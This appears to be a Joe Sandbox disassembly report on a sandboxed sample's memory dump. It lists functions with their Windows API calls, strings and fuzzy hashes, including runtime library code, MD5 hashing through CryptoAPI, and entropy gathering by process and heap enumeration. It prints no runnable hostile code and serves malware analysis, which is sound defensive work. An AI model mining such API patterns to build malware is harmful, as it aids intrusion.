__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit_memset
String ID:
API String ID: 1503770280-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,i;B,00427B16,i;B,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,i;B,i;B), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Strings

i;B, xrefs: 00427B0E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID: i;B
API String ID: 2427264223-472376889
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 0041CC50 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 0041CC83

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction ID: 52da3c53c07101cb0fed2dfe03d77d14ca015ab54627e4d196b0d3cf544a0d43
Opcode Fuzzy Hash: 38c33b148a0880c22fef826a72848e8db45d7a5f4ef6098ecc29bd5a340866da
Instruction Fuzzy Hash: 9AE026303803049BEB08DE12C890ABB7755DF92740B04803EAC0E8B361FA34DD04D7E9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00423B69,00000001,00000000,i;B,00427C49,000000FF,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00428B1A,00000011,i;B,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00481920 Relevance: 121.3, APIs: 41, Strings: 28, Instructions: 587libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(00000094), ref: 00481983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00481994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 004819A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 004819AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 004819E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 004819FB
FreeLibrary.KERNEL32(?), ref: 00481AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00481ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00481AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00481B01
FreeLibrary.KERNEL32(?), ref: 00481C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00481C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00481C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00481C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00481C76
FreeLibrary.KERNEL32(?), ref: 00481D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00481D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00481D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00481D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00481DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00481DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00481DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00481DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00481DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00481E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00481E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00481E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00481E44
GetTickCount.KERNEL32 ref: 00481F03
GetTickCount.KERNEL32 ref: 00481FF1
GetTickCount.KERNEL32 ref: 00482066
GetTickCount.KERNEL32 ref: 00482095
GetTickCount.KERNEL32 ref: 004820FB
GetTickCount.KERNEL32 ref: 00482118
GetTickCount.KERNEL32 ref: 00482187
GetTickCount.KERNEL32 ref: 004821A4

Strings

KERNEL32.DLL, xrefs: 0048199C
NetStatisticsGet, xrefs: 004819E2
CloseToolhelp32Snapshot, xrefs: 00481D7B
Thread32Next, xrefs: 00481E13
Heap32ListNext, xrefs: 00481DC7
ADVAPI32.DLL, xrefs: 00481989
CryptGenRandom, xrefs: 00481AE3
Intel Hardware Cryptographic Service Provider, xrefs: 00481B9C
Heap32ListFirst, xrefs: 00481DB4
CreateToolhelp32Snapshot, xrefs: 00481D67
GetForegroundWindow, xrefs: 00481C4A
NetApiBufferFree, xrefs: 004819F0
NETAPI32.DLL, xrefs: 004819A9
LanmanWorkstation, xrefs: 00481A26
Heap32First, xrefs: 00481D8E
CryptAcquireContextW, xrefs: 00481AD5
Process32Next, xrefs: 00481DED
Module32Next, xrefs: 00481E39
LanmanServer, xrefs: 00481A74
CryptReleaseContext, xrefs: 00481AF6
GetQueueStatus, xrefs: 00481C6B
Process32First, xrefs: 00481DDA
USER32.DLL, xrefs: 00481C31
Thread32First, xrefs: 00481E00
Module32First, xrefs: 00481E26
Heap32Next, xrefs: 00481DA1
GetCursorInfo, xrefs: 00481C58
$, xrefs: 00481F7E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Load$Free$Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 842291066-1723836103
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 1a290f2a1335d0d3a86819d1d60d6f49a84e0195e1de194fff26f42f4ca9d5b3
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 683273B0E002299ADB61AF64CC45B9EB6B9FF45704F0045EBE60CE6151EB788E84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 00410FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149encryptionstringCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00411010
__CxxThrowException@8.LIBCMT ref: 00411026

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0041103B
__CxxThrowException@8.LIBCMT ref: 00411051
lstrlenA.KERNEL32(?,00000000), ref: 00411059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00411064
__CxxThrowException@8.LIBCMT ref: 0041107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00411099
__CxxThrowException@8.LIBCMT ref: 004110AB
_memset.LIBCMT ref: 004110CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 004110DE
__CxxThrowException@8.LIBCMT ref: 004110F0
_malloc.LIBCMT ref: 00411100
_memset.LIBCMT ref: 0041110B
_sprintf.LIBCMT ref: 0041112E
lstrcatA.KERNEL32(?,?), ref: 0041113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00411154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0041115F

Strings

%.2X, xrefs: 00411128

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction ID: afcee35d8fffc0279d29cc69f214b0122642615a52b78f57353c1cfd92a6c2ef
Opcode Fuzzy Hash: 6f04bcb1d5af6720d81330ba6d25d2fff10d0e34b425382de5d36dfe67944e00
Instruction Fuzzy Hash: 92516171E40219BBDB10DBE5DC46FEFBBB8FB08704F14012AFA05B6291D77959018BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 18b9b32fccc37a3c6be161fd0b5e4603234beec1f634f25e965e40264c5ea564
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32(?), ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,?,?,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1293672048.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1293672048.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_kOVwcHSfrR.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
